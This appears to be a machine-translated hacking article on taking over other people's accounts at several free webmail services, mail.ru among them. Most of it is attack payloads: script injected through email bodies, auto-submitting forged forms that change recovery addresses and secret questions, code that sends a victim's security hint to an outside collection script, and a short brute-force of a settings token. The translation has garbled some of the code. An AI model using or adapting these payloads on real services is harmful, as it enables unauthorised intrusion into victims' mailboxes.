OVERVIEW OF VULNERABILITY OF FREE POSTAL SERVICES

WWW.MAIL.RU

I'll start with mail number 1 in Russia. At the moment, through the skipping of JavaScript and one developer error, breaking this box can be done. I believe that the basic principles are well known. How to get a password? 1 - to change it unauthorized. Do not pass, you need to know the previously established. 2 - to change the secret question and use the service to combat amnesia. Also will not work. 3 - set up your alternate Email to get a new password generated by the system. It does not work out, the last two options listed above are in the same form and are also password protected. Even the rest, representing for us less interest settings (Name, Surname, etc.) now without entering the current password will not be able to change. It would seem that there are no options. However, there is such a secondary, inconspicuous section of settings "Contact information" (ICQ, website, phone, work place, time zone, etc.). In this section, you can also specify a contact email. The trick is that while in the registration information the alternative address changes but that which is registered in the questionnaire, and now you can get a password for the soap, using the reminder service. It's simple. URL: http://win.mail.ru/cgi-bin/anketa?page=2&[email protected] True using the GET method, the settings in the mail.ru box can not be changed now, so I'll describe in detail the technical side of the question.

I. We send a letter to the desired box with a code that will generate a frame directly in the body of the message with a link to our site. If possible, the script should work without any user input (clicking, clicking, mouseover, uploading images, etc.):

 <Embed src = "javascript: document.getElementById ('xxx'). InnerHTML = '<iframe src = http: //yoursite.yourdomain.com/yourscript.html> </ iframe>'; this.wav">
 <P id = 'xxx'>

 <Embed src = "javascript: status = location; document.getElementById ('xxx'). InnerHTML = '<iframe src = http: //yoursite.com/yourscript.html width = 0 height = 0> </ iframe>' ; This.wav "width = 0 height = 0>
 <P id = 'xxx'>

 <Form method = "post" action = "http://win.mail.ru/cgi-bin/anketa" name = "anketa"> <br>
 <Input type = "hidden" name = "page" value = "2"> <br>
 <Input type = "hidden" name = "Email" value = "[email protected]"> <br>
 <Input type = "hidden" value = "Save" name = "Save"> <br>
 </ Form> <br>
 <Script> <br>
 Document.anketa.submit () <br>
 </ Script>

WWW.MAIL.COM

 <Style> @import url (javascript: document.getElementById ('out'). InnerHTML = "<iframe src = http: //mail01.mail.com/scripts/common/genprofile.cgi name = 'zero'% 6FnLoad = `Str = document.zero.profileform.hint_a.value; path = 'http: //zero.h12.ru/stat/capt.php?'; Document.zero.location = path + str`> </ iframe>" ); </ Style>
 <Span id = 'out'> </ span>

WWW.NEWMAIL.RU

 <Iframe src = http: //newmail.ru/users/chpass.dhtml? Cp_msg = 1 & cp_quest = QUESTION & cp_answ = ANSWER width = 0 height = 0> </ iframe> 

WWW.E-MAIL.RU

The method of hacking e-mail.ru somewhat does not fit into the general theme of the article, but still - mail . When I needed to get a password from one box, I registered my account as usual and began to investigate the system. The first thing that caught my eye was the ability to set a new password and a secret question with an answer, without entering the old password. The action plan is normal: check the filtering of tags, get the ID and execute the query. However, to change the settings used a special variable utoken, which is contained in the body of the document. After experimenting with the change of the question and the answer with the previously known utoken:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ I have come to The conclusion that ID and cookies for changing the settings are not required. At the same time, after monitoring utoken, it was found that the four-digit hexadecimal number after the email address [email protected] lies in a very narrow range. Namely, to establish a secret question with the answer on any box of interest to us, you need to go through only 7 options: 5a00 , 5b00 , 5c00 , 5d00 , 5e00 , 5f00 , 6000 . When the number is guessed, we will get into the desired box.

Notes: there have been some changes at the moment. Password recovery service does not work, so it is advisable to change it immediately. The address of the configuration change has also changed:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ The method does not work forever. Probably, all the same it is required that the user from time to time go into the mail through the web .

Table with characteristics of free WWW-servers